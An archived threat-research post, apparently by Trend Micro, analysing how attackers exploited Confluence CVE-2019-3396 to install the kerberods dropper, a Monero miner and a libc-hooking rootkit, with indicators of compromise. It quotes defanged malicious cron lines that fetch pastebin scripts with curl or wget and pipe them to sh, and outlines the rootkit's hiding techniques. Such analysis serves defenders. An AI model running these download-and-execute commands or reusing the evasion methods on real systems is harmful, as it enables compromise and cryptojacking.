CVE-2019-3396: Exploiting the Confluence Vulnerability
By By: Augusto Remillano II, Robert Malagad May 07, 2019 Read time: 3 min (854 words)
Published: 2019-05-07 · Archived: 2026-04-05 19:01:56 UTC
In March 2019, Atlassian published an advisory covering two critical vulnerabilities involving Confluence, a widely used
collaboration and planning software. In April, we observed one of these vulnerabilities, the widget connector vulnerability
CVE-2019-3396, being exploited by threat actors to perform malicious attacks. Security provider Alert Logic also
discovered the vulnerability being exploited to drop the Gandcrab ransomwareopen on a new tab.
It seems that these incidents are not the last we’ve seen of the CVE-2019-3396 exploitation, as threat actors are still finding
new ways to exploit the vulnerability. We discovered that it is also being used to deliver a cryptocurrency-mining malware
containing a rootkit that was designed to hide its activities. This technique is highly reminiscent of another attacknews-cybercrime-and-digital-threats that occurred in November 2018 that used a similar miner-rootkit combination.
Arrival and propagation
intel
Figure 1. Infection chain
The attack begins with a remote command sent to download a shell script from pastebin
(hxxps://pastebin[.]com/MjGrx7EA).
This shell script kills certain processes and then downloads and executes “lsd_1” from another pastebin
(hxxps://pastebin[.]com/CvJM3qz5). This file is a second shell script that will drop a third shell script, “lsd_2,” sourced from
yet another pastebin (hxxps://pastebin[.]com/a3EAddwq).
This shell script is responsible for downloading a trojan dropper from the following servers:
gwjyhs[.]com
img[.]sobot[.]com
The malware, kerberods (detected as Trojan.Linux.KERBERDS.A), is a custom-packed binary that installs itself via cron
jobs:
*/10* * * * curl -fsSL hxxps://pastebin[.]com/raw/60T3uCcb|sh
*/15* * * * wget -q -O- hxxps://pastebin[.]com/raw/60T3uCcb|sh
*/10* * * * root curl -fsSL hxxps://pastebin[.]com/raw/60T3uCcb|sh
*/15* * * * root wget -q -O- hxxps://pastebin[.]com/raw/60T3uCcb|sh
*/15* * * * (curl -fsSL hxxps://pastebin[.]com/raw/rPB8eDpu||wget -q -O-hxxps://pastebin[.]com/raw/rPB8eDpu)|sh
Kerberods is responsible for dropping the cryptocurrency miner (khugepageds, detected as
Coinminer.Linux.MALXMR.UWEJI) and its rootkit component.  
One particularly interesting aspect of the binary is the way it drops the rootkit. First, it writes the code for the rootkit to a file
named /usr/local/lib/{random filename}.c.
intel
Figure 2. Writing the rootkit code
The rootkit is then compiled via gcc, with the output binary being /usr/local/lib/{random filename}.so.
intelFigure 3. Compiling the rootkit code
https://blog.trendmicro.com/trendlabs-security-intelligence/cve-2019-3396-redux-confluence-vulnerability-exploited-to-deliver-cryptocurrency-miner-with-rootkit/
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Kerberods also has multiple ways of propagating itself, spreading via SSH and exploiting CVE-2019-1003001 and CVE-2019-1003000.
As for khugepageds, it is an XMRig 2.14.1-mo1 Monero miner with a config that is hardcoded into the binary:
intel
Figure 4. The miner’s config
The mining pool can be accessed at systemten[.]org:51640.
Rootkit as evasion method
As mentioned earlier, this attack shares many of the same characteristics of last year’s incident, such as the use of pastebin
as a C&C server, the miner payload, and its use of a rootkit to hide the malware.
Like kerberods, the miner payload also uses a custom packer to impede analysis.
intel
Figure 5. The custom packer used for the cryptocurrency-mining malware
Unlike the older rootkit that only hooks the readdir function to hide the mining process, this new version hooks more
functions. It hides not only the mining process but also certain files and network traffic. It is also capable of forging the
machine’s CPU usage.
The hooked functions are shown below:
fopen
fopen64
lstat
lxstat
open
rmdir
stat
stat64
__xstat
__xstat64
unlink
unlinkat
opendir
readdir
readdir6
Most of the hooked functions would return a “No such file or directory error” if their parameter contains the file name of the
rootkit, the miner, or ld.so.preload.
intel
Figure 6. Hooked functions returning an error to hide the infection
The following image shows the htop system monitor output with and without the rootkit loaded. Note how the version with
the rootkit loaded hides the CPU usage and the mining process.
intel
https://blog.trendmicro.com/trendlabs-security-intelligence/cve-2019-3396-redux-confluence-vulnerability-exploited-to-deliver-cryptocurrency-miner-with-rootkit/
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Figure 7. Comparison of the htop system monitor output showing the version with (right) and without (left) the rootkit
present
intel
Figure 8. Netstat output before (left) and after (right) the rootkit is loaded
intel
Figure 9. Functions for forging CPU usage and TCP connections
intel
Figure 10. Forging network traffic
intel
Figure 11. Forging CPU usage
The rootkit also serves as a form of persistence by hooking the access function so that a cron job is created to reinstall the
malware whenever it is called.
intel
Figure 12. Code showing the cron job used to download and execute kerberods
Security recommendations and solutions
We’ve seen multiple attacks involving CVE-2019-3396 within a short span of time. This shows that cybercriminals are
willing and able to abuse any vulnerability in multiple ways. This emphasizes that continuous monitoringnews article is
needed to detect any threats in an organization’s environment.
For effective monitoring, organizations can look into the Trend Micro™ Hybrid Cloud Securityproducts solution, which
provides powerful, streamlined, and automated securityproducts within the DevOps pipelineproducts. It also provides
multiple XGen™products threat defense techniques for protecting physical, virtual, and cloud workloads.  In addition, it
protects containers via the Deep Securityproducts™ and Deep Security Smart Checkproducts solutions, which help DevOps
and security teams scan and ensure the security of container images during preruntime and runtime.
The Trend Micro Deep Securityopen on a new tab solution protects user systems from threats that may target the following
vulnerability rule:
1009705 - Atlassian Confluence Server Remote Code Execution Vulnerability (CVE-2019-3396)  
Indicators of Compromise (IoCs)
Details Hashes (SHA-256) Detection  Name
kerberods
(coinminer
binary)
a9228b6a3fe0b8375d6b881626fd4b59fbbf54dbd60a94b085ee0455b3d18fe9 Trojan.Linux.KERBERDS.A
khugepageds
(cryptocurrency
mining
malware)
25064a5ab78cdd36e7049d00b9319222906dd634908c1858e2262bf333631213 Coinminer.Linux.MALXMR.UW
random.so
(rootkit)
3392589c9ebbf7600035574e338d69625cd5ce83ee655582fe8bbadb663532b3 Rootkit.Linux.KERBERDS.A
https://blog.trendmicro.com/trendlabs-security-intelligence/cve-2019-3396-redux-confluence-vulnerability-exploited-to-deliver-cryptocurrency-miner-with-rootkit/
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Source: https://blog.trendmicro.com/trendlabs-security-intelligence/cve-2019-3396-redux-confluence-vulnerability-exploited-to-deliver-cryptocurrency-min
er-with-rootkit/
https://blog.trendmicro.com/trendlabs-security-intelligence/cve-2019-3396-redux-confluence-vulnerability-exploited-to-deliver-cryptocurrency-miner-with-rootkit/
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